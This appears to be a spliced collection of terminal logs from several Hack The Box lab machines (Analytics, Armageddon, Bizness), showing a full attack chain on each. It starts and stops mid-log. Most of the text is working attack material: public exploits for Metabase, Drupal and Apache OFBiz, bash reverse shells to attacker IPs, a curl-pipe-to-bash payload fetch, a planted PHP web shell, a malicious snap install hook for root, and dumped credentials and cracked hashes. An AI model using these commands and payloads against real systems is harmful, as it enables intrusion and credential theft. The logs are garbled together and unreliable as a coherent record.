Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Analytics/Analytics/reports/http_analytical.htb/_25-02-05_17-27-23.txt
Target: http://analytical.htb/
[17:27:23] Starting:
Task Completed❯ wfuzz --hh=154 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.analytical.htb" http://analytical.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://analytical.htb/
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000005043: 200 27 L 3538 W 77677 Ch "Data" ❯ cat /etc/passwd | grep 10.10.11.233
10.10.11.233 analytical.htb❯ git clone https://github.com/m3m0o/metabase-pre-auth-rce-poc; cd metabase-pre-auth-rce-poc
Clonando en 'metabase-pre-auth-rce-poc'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (24/24), done.
remote: Total 26 (delta 12), reused 2 (delta 1), pack-reused 0 (from 0)
Recibiendo objetos: 100% (26/26), 12.09 KiB | 275.00 KiB/s, listo.
Resolviendo deltas: 100% (12/12), listo.
❯ python3 main.py -h
usage: This script causes a server running Metabase (< 0.46.6.1 for open-source edition and < 1.46.6.1 for enterprise edition) to execute a command through the security flaw described in CVE 2023-38646
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL
-t TOKEN, --token TOKEN
Setup Token from /api/session/properties
-c COMMAND, --command COMMAND
Command to be execute in the target host❯ curl -s -X GET 'http://data.analytical.htb/api/session/properties' | jq | grep -i 'setup-token' | tr -d '":,'
setup-token 249fa03d-fd94-4d5b-b94f-b4ebf3df681f❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 main.py -u http://data.analytical.htb -t "249fa03d-fd94-4d5b-b94f-b4ebf3df681f" -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"
[!] BE SURE TO BE LISTENING ON THE PORT YOU DEFINED IF YOU ARE ISSUING AN COMMAND TO GET REVERSE SHELL [!]
[+] Initialized script
[+] Encoding command
[+] Making request
[+] Payload sent❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.233] 48946
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
47200cf3578f:/$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever47200cf3578f:/$ env
env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=47200cf3578f
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env❯ ssh metalytics@analytical.htb
metalytics@analytical.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
Last login: Tue Oct 3 09:14:35 2023 from 10.10.14.41
metalytics@analytics:~$ cat user.txt
11dab8814d**********************metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linuxmetalytics@analytics:/tmp$ ./exploit.sh
[+] You should be root now
[+] Type 'exit' to finish and leave the house cleaned
root@analytics:/tmp$ cat /root/root.txt
c7ef42d91***********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.233 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 10:14 CET
Initiating SYN Stealth Scan at 10:14
Scanning 10.10.10.233 [65535 ports]
Discovered open port 22/tcp on 10.10.10.233
Discovered open port 80/tcp on 10.10.10.233
Completed SYN Stealth Scan at 10:14, 12.38s elapsed (65535 total ports)
Nmap scan report for 10.10.10.233
Host is up, received user-set (0.048s latency).
Scanned at 2025-02-19 10:14:07 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.50 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65545 (2.623MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.233
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.10.233 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 10:15 CET
Nmap scan report for 10.10.10.233
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Welcome to Armageddon | Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.14
Network Distance: 2 hops
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 80.04 ms 10.10.16.1
2 27.77 ms 10.10.10.233
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.10.233
http://10.10.10.233 [200 OK] Apache[2.4.6], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[10.10.10.233], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.4.16], PasswordField[pass], PoweredBy[Arnageddon], Script[text/javascript], Title[Welcome to Armageddon | Armageddon], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.4.16]❯ curl -I http://10.10.10.233
HTTP/1.1 200 OK
Date: Wed, 19 Feb 2025 01:52:24 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 7 (http://drupal.org)
Content-Type: text/html; charset=utf-8❯ git clone https://github.com/dreadlocked/Drupalgeddon2; cd Drupalgeddon2
Clonando en 'Drupalgeddon2'...
remote: Enumerating objects: 257, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 257 (delta 0), reused 0 (delta 0), pack-reused 253 (from 1)
Recibiendo objetos: 100% (257/257), 102.12 KiB | 1.19 MiB/s, listo.
Resolviendo deltas: 100% (88/88), listo.❯ ruby drupalgeddon2.rb http://10.10.10.233
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.233/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo MYZIHMVA
[+] Result : MYZIHMVA
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.233/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> whoami; id; ip a
apache
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:9c:f5 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.233/24 brd 10.10.10.255 scope global noprefixroute ens192
valid_lft forever preferred_lft forever
inet6 dead:beef::69d1:bb00:780c:f997/64 scope global noprefixroute dynamic
valid_lft 86393sec preferred_lft 14393sec
inet6 fe80::7648:5ea1:5371:b3b5/64 scope link noprefixroute
valid_lft forever preferred_lft foreverarmageddon.htb>> which curl
/usr/bin/curl❯ nc -nlvp 443
listening on [any] 443 ...❯ cat shell.sh
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...armageddon.htb>> curl http://10.10.16.3/shell.sh|bash❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.233] 39100
bash: no job control in this shell
bash-4.2$ echo $SHELL
echo $SHELL
/sbin/nologinbash-4.2$ pwd
/var/www/html/sites/default
bash-4.2$ cat settings.php
<?php
/**
* Database settings:
*
* The $databases array specifies the database connection or
* connections that Drupal may use. Drupal is able to connect
* to multiple databases, including multiple types of databases,
* during the same request.
*
* Each database connection is specified as an array of settings,
* similar to the following:
* @code
* array(
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);bash-4.2$ mysql -h localhost -e "show tables;" -u drupaluser -pCQHEy@9M*m23gBVj drupal
Tables_in_drupal
...[snip]...
users
...[snip]...bash-4.2$ mysql -h localhost -e "SELECT * FROM users;" -u drupaluser -pCQHEy@9M*m23gBVj drupal
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
7900 | Drupal7 | Forums, CMS, E-Commerce
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboobash-4.2$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash❯ sshpass -p booboo ssh brucetherealadmin@10.10.10.233
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$ cat user.txt
c13d01dd41***********************[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *❯ searchbins -b snap -f sudo
[+] Binary: snap
================================================================================
[*] Function: sudo -> [https://gtfobins.github.io/gtfobins/snap/#sudo]
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh
%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
```
| sudo snap install xxxx_1.0_all.snap --dangerous --devmode❯ COMMAND=id
❯ cd $(mktemp -d)
❯ mkdir -p meta/hooks
❯ printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
❯ chmod +x meta/hooks/install
❯
❯ fpm -n xxxx -s dir -t snap -a all meta
Created package {:path=>"xxxx_1.0_all.snap"}
❯ ls -l
drwxrwxr-x kali kali 60 B Wed Feb 19 10:33:58 2025 meta
.rw-r--r-- kali kali 4.0 KB Wed Feb 19 10:34:11 2025 xxxx_1.0_all.snap❯ scp xxxx_1.0_all.snap brucetherealadmin@10.10.10.233:/tmp/
brucetherealadmin@10.10.10.233's password:
xxxx_1.0_all.snap 100% 4096 42.2KB/s 00:00 [brucetherealadmin@armageddon tmp]$ ls -l
total 4
-rw-r--r--. 1 brucetherealadmin brucetherealadmin 4096 feb 19 02:12 xxxx_1.0_all.snap[brucetherealadmin@armageddon tmp]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0)❯ COMMAND="/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'"
❯ cd $(mktemp -d)
❯ mkdir -p meta/hooks
❯ printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
❯ chmod +x meta/hooks/install
❯ fpm -n xx -s dir -t snap -a all meta
Created package {:path=>"xx_1.0_all.snap"}
❯ scp xx_1.0_all.snap brucetherealadmin@10.10.10.233:/tmp/
brucetherealadmin@10.10.10.233's password:
xx_1.0_all.snap 100% 4096 40.6KB/s 00:00 ❯ nc -nlvp 443
listening on [any] 443 ...[brucetherealadmin@armageddon tmp]$ sudo snap install xx_1.0_all.snap --dangerous --devmode
Run install hook of "xx" snap if present❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.233] 39110
bash: cannot set terminal process group (2767): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# whoami
whoami
root
bash-4.3# cat /root/root.txt
cat /root/root.txt
861ec4fc42c**********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.252 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 01:26 CET
Initiating SYN Stealth Scan at 01:26
Scanning 10.10.11.252 [65535 ports]
Discovered open port 80/tcp on 10.10.11.252
Discovered open port 22/tcp on 10.10.11.252
Discovered open port 443/tcp on 10.10.11.252
Discovered open port 42039/tcp on 10.10.11.252
Completed SYN Stealth Scan at 01:26, 19.71s elapsed (65535 total ports)
Nmap scan report for 10.10.11.252
Host is up, received user-set (0.10s latency).
Scanned at 2025-02-16 01:26:36 CET for 20s
Not shown: 65472 closed tcp ports (reset), 59 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
42039/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.81 seconds
Raw packets sent: 76283 (3.356MB) | Rcvd: 75327 (3.014MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.252
[*] Open ports: 22,80,443,42039
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,443,42039 10.10.11.252 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 01:28 CET
Nmap scan report for bizness.htb (10.10.11.252)
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
| tls-alpn:
|_ http/1.1
|_http-trane-info: Problem with XML parsing of /evox/about
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
42039/tcp open tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 88.82 ms 10.10.16.1
2 31.18 ms bizness.htb (10.10.11.252)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.34 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep bizness
10.10.11.252 bizness.htb❯ whatweb https://bizness.htb
https://bizness.htb [200 OK] Bootstrap, Cookies[JSESSIONID], Country[RESERVED][ZZ], Email[info@bizness.htb], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[JSESSIONID], IP[10.10.11.252], JQuery, Lightbox, Script, Title[BizNess Incorporated], nginx[1.18.0]❯ dirsearch -u 'https://bizness.htb' -t 50 -i 200 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Bizness/Bizness/reports/https_bizness.htb/_25-02-16_01-31-01.txt
Target: https://bizness.htb/
[01:31:01] Starting:
[01:31:22] 200 - 34KB - /control/
[01:31:22] 200 - 34KB - /control
[01:31:28] 200 - 11KB - /control/login
[01:31:59] 200 - 21B - /solr/admin/
[01:31:59] 200 - 21B - /solr/admin/file/?file=solrconfig.xml
Task Completed❯ git clone https://github.com/UserConnecting/Exploit-CVE-2023-49070-and-CVE-2023-51467-Apache-OFBiz; cd Exploit-CVE-2023-49070-and-CVE-2023-51467-Apache-OFBiz
Clonando en 'Exploit-CVE-2023-49070-and-CVE-2023-51467-Apache-OFBiz'...
remote: Enumerating objects: 21, done.
remote: Counting objects: 100% (21/21), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 21 (delta 4), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (21/21), 6.74 KiB | 6.74 MiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.❯ wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
--2025-02-16 01:36:46-- https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
Resolviendo github.com (github.com)... 140.82.121.3
Conectando con github.com (github.com)[140.82.121.3]:443... conectado.
Petición HTTP enviada, esperando respuesta... 302 Found
Localización: https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar [siguiendo]
--2025-02-16 01:36:46-- https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
Reutilizando la conexión con github.com:443.
Petición HTTP enviada, esperando respuesta... 302 Found
Localización: https://objects.githubusercontent.com/github-production-release-asset-2e65be/29955458/bb6518d9-ffb7-4437-8b6f-db3659467c5c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250216%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250216T003725Z&X-Amz-Expires=300&X-Amz-Signature=6c5f8f1a07a6dc5626d497394a55e4a90ac28cca518b9b09d665826ccca1471b&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dysoserial-all.jar&response-content-type=application%2Foctet-stream [siguiendo]
--2025-02-16 01:36:46-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/29955458/bb6518d9-ffb7-4437-8b6f-db3659467c5c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250216%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250216T003725Z&X-Amz-Expires=300&X-Amz-Signature=6c5f8f1a07a6dc5626d497394a55e4a90ac28cca518b9b09d665826ccca1471b&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dysoserial-all.jar&response-content-type=application%2Foctet-stream
Resolviendo objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.111.133, ...
Conectando con objects.githubusercontent.com (objects.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 59525376 (57M) [application/octet-stream]
Grabando a: «ysoserial-all.jar»
ysoserial-all.jar 100%[==================================================================================================================================>] 56,77M 34,8MB/s en 1,6s
2025-02-16 01:36:48 (34,8 MB/s) - «ysoserial-all.jar» guardado [59525376/59525376]❯ python3 ofbiz_exploit.py -h
Usage:
python3 ofbiz_exploit.py target_URL rce command
python3 ofbiz_exploit.py target_URL shell IP:PORT❯ python3 ofbiz_exploit.py https://bizness.htb rce id
The target appears to be vulnerable.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x5cad8086) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x5cad8086
at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Error. Try changing your current Java version to Java 11:
sudo apt-get install openjdk-11-jdk
sudo update-alternatives --config java❯ sudo update-alternatives --config java
Existen 4 opciones para la alternativa java (que provee /usr/bin/java).
Selección Ruta Prioridad Estado
------------------------------------------------------------
0 /usr/lib/jvm/jdk-11.0.25-oracle-x64/bin/java 184754176 modo automático
1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 modo manual
* 2 /usr/lib/jvm/java-21-openjdk-amd64/bin/java 2111 modo manual
3 /usr/lib/jvm/java-23-openjdk-amd64/bin/java 2311 modo manual
4 /usr/lib/jvm/jdk-11.0.25-oracle-x64/bin/java 184754176 modo manual
Pulse <Intro> para mantener el valor por omisión [*] o pulse un número de selección: 0
update-alternatives: utilizando /usr/lib/jvm/jdk-11.0.25-oracle-x64/bin/java para proveer /usr/bin/java (java) en modo automático❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ python3 ofbiz_exploit.py https://bizness.htb rce 'curl http://10.10.16.3/gzzcoo'
The target appears to be vulnerable.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[?] It is not possible to be certain of success. The target may not be truly vulnerable. [?]
Check if the reverse shell was established or if there is any command output.❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.252 - - [16/Feb/2025 01:38:57] code 404, message File not found
10.10.11.252 - - [16/Feb/2025 01:38:57] "GET /gzzcoo HTTP/1.1" 404 -❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 ofbiz_exploit.py https://bizness.htb shell 10.10.16.3:443
The target appears to be vulnerable.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[?] It is not possible to be certain of success. The target may not be truly vulnerable. [?]
Check if the reverse shell was established or if there is any command output.❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.252] 51542
bash: cannot set terminal process group (570): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ cat /home/ofbiz/user.txt
eb342ca9148c8*******************ofbiz@bizness:/opt/ofbiz$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[2] - continued nc -nlvp 443
reset xterm
...[snip]...
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
ofbiz@bizness:/opt/ofbiz$ export SHELL=bash
ofbiz@bizness:/opt/ofbiz$ stty rows 46 columns 230ofbiz@bizness:/opt/ofbiz/framework/security/config$ cat security.properties
##############################################################################
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
###############################################################################
####
# OFBiz Security Settings
###
...[snip]...
# -- should we encrypt (SHA Hash) the password? --
password.encrypt=true
# -- specify the type of hash to use for one-way encryption, will be passed to java.security.MessageDigest.getInstance() --
# -- options may include: SHA, PBKDF2WithHmacSHA1, PBKDF2WithHmacSHA256, PBKDF2WithHmacSHA384, PBKDF2WithHmacSHA512 and etc
